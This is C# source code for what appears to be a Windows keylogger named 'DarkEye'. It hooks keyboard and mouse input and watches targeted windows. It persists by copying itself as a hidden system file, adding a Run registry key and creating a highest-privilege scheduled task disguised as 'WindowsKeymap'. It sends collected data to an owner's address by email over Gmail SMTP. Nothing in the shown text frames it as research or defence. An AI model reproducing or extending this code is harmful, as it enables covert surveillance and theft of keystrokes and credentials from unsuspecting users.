private void SendEmail() { try { MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); mail.From = new MailAddress(owner.from); mail.To.Add(owner.to); mail.Subject = subject; mail.Body = body; foreach (Attachment attachment in attachments) { mail.Attachments.Add(attachment); } SmtpServer.Port = owner.port; SmtpServer.Credentials = new System.Net.NetworkCredential(owner.from, owner.pass); SmtpServer.EnableSsl = true; SmtpServer.Send(mail); WriteUtils.write("DispathEmail: Sending..."); } catch (Exception ex) { WriteUtils.writeError("DispathEmail: " + ex.ToString()); } }
public void Init() { try { KeyboardHook keyboardHook = new KeyboardHook(); MouseHook mouseHook = new MouseHook(); keyboardHook.OnKeyPressed += onKeyPressed; keyboardHook.OnKeyUnpressed += onKeyUnPressed; keyboardHook.Hook(); mouseHook.MouseAction += onMouseClick; mouseHook.Hook(); Application.Run(); keyboardHook.UnHook(); mouseHook.UnHook(); WriteUtils.write("Initialization: HookManager"); } catch (Exception ex) { WriteUtils.writeError("Initialization: HookManager Failed: " + ex.ToString()); } }
public void Init() { foreach (Owner owner in DarkEye.ownerManager.owners) { foreach (String target in owner.targets) { this.registerWindow(target); } } WriteUtils.write("Initialization: WindowManager"); }
public void Init() { WriteUtils.write("Initialization: DuplicateManager"); if (DarkEye.commandManager.IsWritenCommand("-duplicate")) { return; } this.Copyme(this.path); this.AutoRun(this.path); this.Scheduler(true, "daily", "highest", "WindowsKeymap", string.Concat("\"", this.path, "\"")); }
public void Copyme(String path) { try { File.Copy(Utils.Utils.GetThisPath(), path, true); File.SetAttributes(path, FileAttributes.ReadOnly | FileAttributes.System); WriteUtils.write("Copyme: Copied to: " + path); } catch (Exception ex) { WriteUtils.writeError("Copyme: Failed " + ex.Message); return; } }
public void AutoRun(String path) { try { String str = path; if (!DarkEye.commandManager.IsWritenCommand("-duplicate")) { str = str + " -duplicate"; } str = str + " " + DarkEye.commandManager.GetWritenCommands(); Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); key.SetValue(Utils.Utils.GetThisName(), str); WriteUtils.write("AutoRun: Registered!"); } catch (Exception ex) { WriteUtils.writeError("AutoRun: " + ex.Message); } }
public bool Scheduler(bool status, string timeset, string priority, string taskname, string filepath) { if (string.IsNullOrWhiteSpace(taskname) || string.IsNullOrWhiteSpace(filepath)) { return(false); } ProcessWindowStyle PwsHide = ProcessWindowStyle.Hidden; ProcessStartInfo startInfo = new ProcessStartInfo { FileName = "schtasks.exe", CreateNoWindow = false, WindowStyle = PwsHide }; try { switch (status) { case true: startInfo.Arguments = string.Concat("/create /sc ", timeset, " /rl ", priority, " /tn ", taskname, " /tr ", filepath, " /f"); WriteUtils.write("Scheduler: Created task \"" + taskname + "\""); break; case false: startInfo.Arguments = string.Concat("/delete /tn ", taskname, " /f"); WriteUtils.write("Scheduler: Deleted task \"" + taskname + "\""); break; } using (Process info = Process.Start(startInfo)) { info.Refresh(); info.WaitForExit(); WriteUtils.write("Scheduler: Started!"); } } catch (Exception ex) { WriteUtils.writeError("Scheduler: " + ex.Message); } startInfo = null; return(true); }
public void Init(String[] args) { try { if (args.Length > 0) { foreach (String arg in args) { Command command = GetCommandByName(arg); if (command != null) { command.writen = true; } } WriteUtils.write("CommandManager run with args: " + GetWritenCommands()); } WriteUtils.write("Initialization: CommandManager"); } catch (Exception ex) { WriteUtils.writeError("Initialization: CommandManager Failed: " + ex.ToString()); } }
public void unregisterWindow(Window window) { windows.Remove(window); WriteUtils.write("WindowManager: Unregistered window [" + window.name + "]"); }
public void registerWindow(String name) { windows.Add(new Window(name)); WriteUtils.write("WindowManager: Registered window [" + name + "]"); }
public void registerCommand(String[] arg) { commands.Add(new Command(arg)); WriteUtils.write("CommandManager: Registered command [" + arg + "]"); }
public DataManager() { this.ownerData = new Data("NULL", "NULL"); WriteUtils.write("Initialization: DataManager"); }
public LineManager() { line = GetLine(); WriteUtils.write("Initialization: LineManager [" + line.name + "]"); }
public void unregisterOwner(Data data) { owners.Remove(new Owner(data)); WriteUtils.write("OwnerManager: Unregistered owner"); }
public void registerOwner(Data data) { owners.Add(new Owner(data)); WriteUtils.write("OwnerManager: Registered owner"); }
public OwnerManager() { owners = new ArrayList(); WriteUtils.write("Initialization: OwnerManager"); }